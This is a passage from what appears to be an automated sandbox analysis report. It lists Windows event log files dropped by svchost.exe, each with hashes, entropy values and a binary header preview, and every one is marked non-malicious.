SHA-256:	3E42AC1F97B1887FE0223484E46A973FC7BCB32EC349F09D4E0A3CC1EDE1D60C
SHA-512:	D51557DBC9ADCC7651B950551020A671CF75C7080C3E773194F93F4D775F9015A16C06D5BB8135564B5DC59D7A7BDB08BED2DBEAF939FC7FDB867BF991C35A8D
Malicious:	false
Preview:	ElfChnk.........'...............'............I...J.....s....................................................................?...................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&................................................>..............O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4373812410985773
Encrypted:	false
SSDEEP:	768:50VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9OaafcmafEMXW0OWkjWr:jcEt
MD5:	5166C2E32BD35C5E8D122799E53B4EA3
SHA1:	628619C0E31F8C29ED260FCC063CD27935ACC25C
SHA-256:	433A96E20784F1E6FB099FA4AB020EEA75BB22EEBC7D969497A31ABCB9B415AB
SHA-512:	E5EA93AA871264E180BBC67008D7AA1012CDCAC74D22D10B47F1849380E092DF2FD798C7143DD3CAB5D9192EB4A89BB0EE60DA662E626923551906AB8F31DFD9
Malicious:	false
Preview:	ElfChnk.........?...............?............y...{...v.......................................................................bV................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&.......>h..................................................%_..........................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79576
Entropy (8bit):	4.127796335209658
Encrypted:	false
SSDEEP:	384:rhNiGQ5XpvVRYBQf5pJiT5pwiT5yY4iT5pBiT5pJk5pbik5pKik5yY5Lbik5p9i8:rSLpBVi7CPqmxVjLv
MD5:	11A70480184485AFBA8B7791B05128D7
SHA1:	EF7BE97EC9B3E8DEF83B96557E1883761D3749A5
SHA-256:	10A078034B838E5738AB776F636D5221947679B8811691D10E046BC6E5B19E82
SHA-512:	02B0BFB4E785056026C025FE0E4482F93714C53286ED3CD82DD74E229FD3C5F3AD1AA0E828614E670E28D968C096D7A1A6ABA6868EC8CDF759CA603302836DF7
Malicious:	false
Preview:	ElfChnk.'.......+.......'.......+............$..`+..gv,......................................................................O..................X...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................1...............................................................&.......................................**......'...........f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.322146858454247
Encrypted:	false
SSDEEP:	384:NH6/hDGCyCkCzCRCFC5CdCbCHCQCrlC+C2CV2CfCrUCECZ/C/C/2a22j2EW2z2/5:NH6/d7kNrTgt
MD5:	D8DABE7AC7FE8F2D1CD853002971BB8A
SHA1:	AC6B0F9940C1B3DB1FBC58DE8A95DD252FA73A6A
SHA-256:	DDC0E74C04DFDB71841128067C33E0B5388CC5E93EEA1FDA4ADDFC6CA39FCC77
SHA-512:	A9AF55922FC793B10A17731BC7F83A70E741E695B47249993530612A11D0A41481068A4DFD4B07182F5604A4AE289211D00766B79DB67CC25171D4ECA5A9292A
Malicious:	false
Preview:	ElfChnk.U...............U...................`...h....fyC......................................................................K................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F............................F..............................&...............................................nw..............iq......................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.475265357832672
Encrypted:	false
SSDEEP:	1536:P1W7C3yZy0PwbjNIFTLyQV2qRR4jBGDL+2ubu1ho7t8ckcXWIkFElThsk687vzGe:P1W7C3yZy0PwbjNIFTLyQV2qRR4jBGD+
MD5:	605D94FA0C65C59EECEECC2BEB2F61B5
SHA1:	28CA14F5E02A0A0348C4AC4A22BC228390B64F94
SHA-256:	4667182188A73611A09A2F2B7A5E623367634933BE49899E07ED2FFB99142381
SHA-512:	10CC31A6B3F5CC0AF090861E7EC615289DE4AB43E7B612F4F6518D6FEF8CD943E6A0F8A165AB4F6CAD5509575CC0C0D46960940799C95F1C6D6F103B4594EEA6
Malicious:	false
Preview:	ElfChnk.....................................0k...l..C.......................................................................2\x5................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................6Y......................................**..............X.j[d.............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	93952
Entropy (8bit):	4.456593840339493
Encrypted:	false
SSDEEP:	1536:SpBNHyfCVmRyzFyQWsk4cLSKph9YC/cmqbL9tKGjDLSGUpBpJyGBqpBNHyfCVmom:SLNHMCVmRyzFyNsk4cLSKph9YC/cmqbs
MD5:	CDE0D8172C63CA2C5350495BD6A7417A
SHA1:	1E82A9FCC129B2489154260B732C277B4212F495
SHA-256:	4B4CDA6686D8896C60558ABD34473192D43667CF2C61DD33D443EE22E34043C5
SHA-512:	8C74D0F34EEBFAC972B630348EBCF42D87BB9921CB0D657C2D4567F5A473B7FC3AD7590834909C1150CAE68C47D762F6AF457F07DCB11D44BFCEA2BDCFABF5C6
Malicious:	false
Preview:	ElfChnk.+.......X.......+.......X............X..hZ...Z%(.......................................................................'................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F................................................................................................O.......8..&.......AR...6..12...............:........x...R.......]...PN.........Z..&...............................................................8.......P.....!....nqm......... ]...PN..............K...........R........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e..n30'.\|D..Q.R.a.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......L12........r.i.tx.....(...S...........PN.........Z..&...............................................................8.......P.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.517082344367377
Encrypted:	false
SSDEEP:	384:YjdAhA71d7587RS7a07DL7T7G7z7L7k7OXD7u7y7I717/7u7m727L07E7K72t7Rt:YBAiHEV6koTxbkeQEWi7Di
MD5:	2628D3458E9FBE638FC3A49E317866FA
SHA1:	8DB033ED373F8A837073679CE0F3B5DC1BD7085B
SHA-256:	D2B987B5AC61D1C66CACD6D0492AC4C4C316C9EE94638A0D312803BB9C24FD00
SHA-512:	6C3683E0A8CF261353830E1F2344A59428E55BBCAFE032AF52624FF961F28608C7E64134BBA4764DEB8885D384DFA593325DB889E9D752226FC29885E3520A67
Malicious:	false
Preview:	ElfChnk.....................................po..@q....`....................................................................\.$.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................e4.............../..s...........&................................................L..............e2......................**..H............<R.d.............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.314954486903959
Encrypted:	false
SSDEEP:	384:5mhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauia:s6Ovc0S5UyEeDgLpIC4DoA4
MD5:	864CAA67E4BF2A335E088526FF347CD9
SHA1:	64E224001D864A18D4999F5D33A42C532877A361
SHA-256:	C904C319101B31E991343FC8FF2929F6841599C9DCC23AC6218272F630AD5894
SHA-512:	B899FA6CDC7D0F97BACCC9025516045878BBA58E86ADEA79AA164B3B27F00F6E52F8B8838210A3ECD0C0E6A20D9DD48A4A4754F7408C1DA5F1FDC2EE7A504231
Malicious:	false
Preview:	ElfChnk.........A...............A............u...v..........................................................................c.w.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................6f......w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.773262505715791
Encrypted:	false
SSDEEP:	384:bhGuZumutu4uEu5uOuDuyb2uPu1uVupUupu+R7udu4uEu1u0u8uhuluxuMuxuMuH:b/vI
MD5:	C06B3BF303EBDD17D76D87B596EE5407
SHA1:	BFC46338E3A89112D6D7E1CFF7A9FB5909DE6458
SHA-256:	26AB9FE5730119306B700304DF2B2C11C6E8322F29CAA9AD49CBBA968DD54CD9
SHA-512:	7CBD5FFB770669AC0295C6221E02D24C116F4B72E3D990F60D122B2AED3280075DA5C3DBCA8A5749F5E566920799087D1094ECB31B5937D8B78EFB40BEC0D0A2
Malicious:	false
Preview:	ElfChnk.........T...............T...........@........J......................................................................?..................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................vN......................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2371167268838485
Encrypted:	false
SSDEEP:	384:RhiAeCv4A+yMrAmA1AHA6AbAMAEAFmANA49ALAEAyKiAfAFgAw+AqAFAApjANAil:RCCvudb6KinaWRQJ4+8nEPDh0
MD5:	3F2115642206C3D448781C58F4EE8AF3
SHA1:	1408F4FF05D6887F74B445E296BC9B69163EDDAE
SHA-256:	84EF0FE4C7A64FA8200DEE7E064A658C2BB94A262A6DBD1353CB7EE458DF1684
SHA-512:	C3B530EA9AC3FD03615D91457CB88474254CCC6B53B3737C932690059274ED18552F40836F7CF78B698A650D636A93B72EC8C8E8057921A28CAF3718D18C85CC
Malicious:	false
Preview:	ElfChnk.........................................@....a..........................................................................................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................5.................................................... ..........&................................$......**..`..............;f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1631981097466806
Encrypted:	false
SSDEEP:	384:4hKpsdp90mp9b2p9iGp95ep94+p9/Kp9Wqp9tap98Cp9Pp96p9lp9za1p9Dp9Wpb:4cafg0Y
MD5:	CBAE5379AAAD2B6A84714F5CEA39ACFA
SHA1:	A1AC7C71917C9F27EDA9E17CF0CAD78FC07A82E5
SHA-256:	726B1343CDE4D4B7D2558B9B3E86DAD3782983304D0349974FFA7725D40A9D2B
SHA-512:	7A6DF8A6BDF99348719F7005EFD293089BDD9EB93E2801CB7F3F38C77717E1E47D496E7A1D8FA9FED8EC27D28946214B71C7B156A537B40112D4A76E38F968B8
Malicious:	false
Preview:	ElfChnk.........'...............'....................k......................................................................+N.>........................................<...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**..............E.yrf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.036288214996343
Encrypted:	false
SSDEEP:	384:vhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWB0:vwDoh1V00eB9iVsTBwMjO2
MD5:	80B64057A5C06D0016A06F2D493CF301
SHA1:	452FDD974A9D63E05AC2F9AE4199CFD0C7CDCD62
SHA-256:	5ABDEF24E5D651A400B36F57A109443BC4F1C975FDAEBB512ADE44935C8BEB1A
SHA-512:	4F9E119EDA7FEED0948DABBDE51C9CBD835DB19EE717F3ED6EB99A16240EB351C968F4A8C39E8BCA2124A0E8A1C53AE5CD8A7D7F61748AFDE0574FF675166F43
Malicious:	false
Preview:	ElfChnk.\...............\.......................X...j.......................................................................LU.t.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i..................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.166433348209963
Encrypted:	false
SSDEEP:	384:/hwCCRzCaCkClCzCYC/CyCVCGCMCvCACWCKECQCMCdC:/KF6
MD5:	9AB3073B8BEBBC3C1E9DCB47217C8E27
SHA1:	33477618A675262EFDC74FACE70AE448EE9CAA05
SHA-256:	E19A280A63CB747D2029892A6F0E67D2C83461FF15112067AF24B8B5E136CC30
SHA-512:	58DD3DECA39CBF605861F78EDD27F3F97858581322063E9F7F1169C9F190613A22649289959A525729F503643B5EFDF5C1C20EE43C21B69C9B4468BA0BDAD6F5
Malicious:	false
Preview:	ElfChnk.....................................04..h6............................................................................4................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................................................................+................................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	144392
Entropy (8bit):	4.680075877816149
Encrypted:	false
SSDEEP:	768:AN0bGAyKAyUzAyBN0bGAyKAyUzAyj+nwDy8KhAy56N0bGAyKAyUzAyobYe:dQv0/Qv0UkdWQQv0z
MD5:	9414F80A31868EBCD160247848B16DBD
SHA1:	63E3DBA3D6A79AF32B0B9FC0B0992585300BAB51
SHA-256:	8D45D52B541F3D16EDB58AB0E4F998ABFA1F752577A415C9927288DA40382C97
SHA-512:	0026254DA0B0C97E6FBE862E48A0DB9FCC13AD2F99370AD194E710AF7B3DA5C400FA6E0331D242AB807EC643E72C0E72439CEDC4E7C7E17F4B9D01658A21654C
Malicious:	false
Preview:	ElfChnk..%......,&.......%......,&.......... ...X...i.......................................................................P...........................................6...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................M...........&.......................................**.......%.......V..PN.........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79016
Entropy (8bit):	1.8211201575481277
Encrypted:	false
SSDEEP:	384:yBhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUm6UmaUmVAUmQUmehL6UsE0Zu:WY7L8yY7L8
MD5:	B0AAD4CF0D79F0E382014AAB35688B47
SHA1:	4BD8A9DF7EFAE235AA9CF3A9A8A0DD7CF5A82EC8
SHA-256:	EF0385E24249F469133B4AFADF6F95EA7C12AD059700E95174877D1986ECDD3A
SHA-512:	7AA3692D0DA4E6FA10906A6ABDFC2573BD7155936257830C0B62C0FB509A0091BB402D3116AD61ED2047E13D97E3B79F1A8273B98EC99A842807CC4E56BE7A2A
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk......................................1..(4..i.!......................................................................................... .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................................................................>-......................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67776
Entropy (8bit):	0.36810741683259496
Encrypted:	false
SSDEEP:	48:MauVWd8prP+8QNRBEZWTENO4brBE3ovPa/6yYuVWd8prP+8QNRBEZWTENO4brBEn:a8NVaO8iovC/6yP8NVaO8iovC/6y
MD5:	F68A2754C4C1DD7BE6F25C5463F96DB1
SHA1:	AEF943F956DF3029B721F9315A382975BE0F7DA5
SHA-256:	D96FCE9B7296AFA226B1C36C53034F26749DA0306CEF65C2093578A0E6C5CCA4
SHA-512:	ACD06B067B96BC5526469CCC3FBE94D660A382A62064B988E5CA5C9594F05A2A550D1B976D6128131DE2D8811D93CE319A6C43D65EB760DA6390EC869E003448
Malicious:	false
Preview:	ElfChnk..............................................h~.....................................................................G..c................".......................J...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................**.................g..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9658503180918458
Encrypted:	false
SSDEEP:	384:khHivRiLiakrkEi5iciMiHiQi8ixiBiFioikiFiixFiIMZifiwiLitixgZJiJi/P:kgtxHMa
MD5:	9961A2C4F5AC430AB4FE55D69904E2C9
SHA1:	BA49A1A12A889812148BECC8D5B285AD418D54FE
SHA-256:	EAE8AAB4F398C27A8E7855C8524389EBE4F695B28D2B51E9EA916738D5E579E9
SHA-512:	B7B0B29444E2B9BECCA18B96D5CA3D7098236C9919F7DE59A37405012C19C6B641CD3C1DA7E9E12F454004B93BB022F689125D31E26825929BB9A7D79FEF3199
Malicious:	false
Preview:	ElfChnk.y...............y................... d..0f.....6.....................................................................;.................>,..........................=.......................#.......................................>...........................................................f...............?.......................P.......................M...F...................................................9.......n(...............................................:...............,......................**......y..........a...........g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.401296006702087
Encrypted:	false
SSDEEP:	768:lOaQLVa/afana3aWWanaDaXa7aKOaHa3afaDaza7a7azaXaLa3aDaranaTaDabaa:2LAKe
MD5:	5643CF359CE3CFF57398674E186C8D4D
SHA1:	7E7180AAAD2A14F43C9B266746A11FE19DFC6E75
SHA-256:	6598FA0988D715D8120BA92E775224956912765DFA4F1BDF2ED34E19299C4600
SHA-512:	426A4B3BDA4041DA3F6B815750AFCAC780F61552824D20945CF317582EDF3A40EC46C0F59D3E874DD0CB82BA47935D6AEC31CAE24A87D3508548B0E5A72BCE0B
Malicious:	false
Preview:	ElfChnk.........@...............@...............`...R."<.....................................................................p..................b...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&...;...................................**..H...........,...f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3650161876414235
Encrypted:	false
SSDEEP:	384:2haXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJiXJtXJiXJWTXJpXJUXJ4XJ:2Q0yUkNYwD8imLEWTWW1fsg
MD5:	346E087AE87A771402B2E38619AB7B71
SHA1:	4B7EFEA99E401A5E6C0D115E2B27C48778704C13
SHA-256:	82B60B9565D3FDA733EF5B4A6996AD51C08BC604BE6DC184255A8928B1220EE5
SHA-512:	63C3EB568562AD3560924F7830F0ED120CC362A9FC24EA6CCE4B0EC5F90A0BBEF58539C26B5379A5E6D1939BED7D06A92B4A2521775AF2516793F42A289C0E4B
Malicious:	false
Preview:	ElfChnk......................................A...D.....<....................................................................7...................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&................................................6..........C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.335318634068108
Encrypted:	false
SSDEEP:	384:ehRmsmRm1m4mXm9mSmBmStmtmimMmAmAmRmcmxHmEmqmwmHmLmlm9mGmdmpm3mfr:euDcxMmo
MD5:	3B31610BEABB5895A19C346C64C234C6
SHA1:	84316C06991A51AD91C247130B615F0E56CD4D01
SHA-256:	EA4D4D4A4D56D42B0205793B2C9E45A732EA2F8909095BF924C2F4A138DE0404
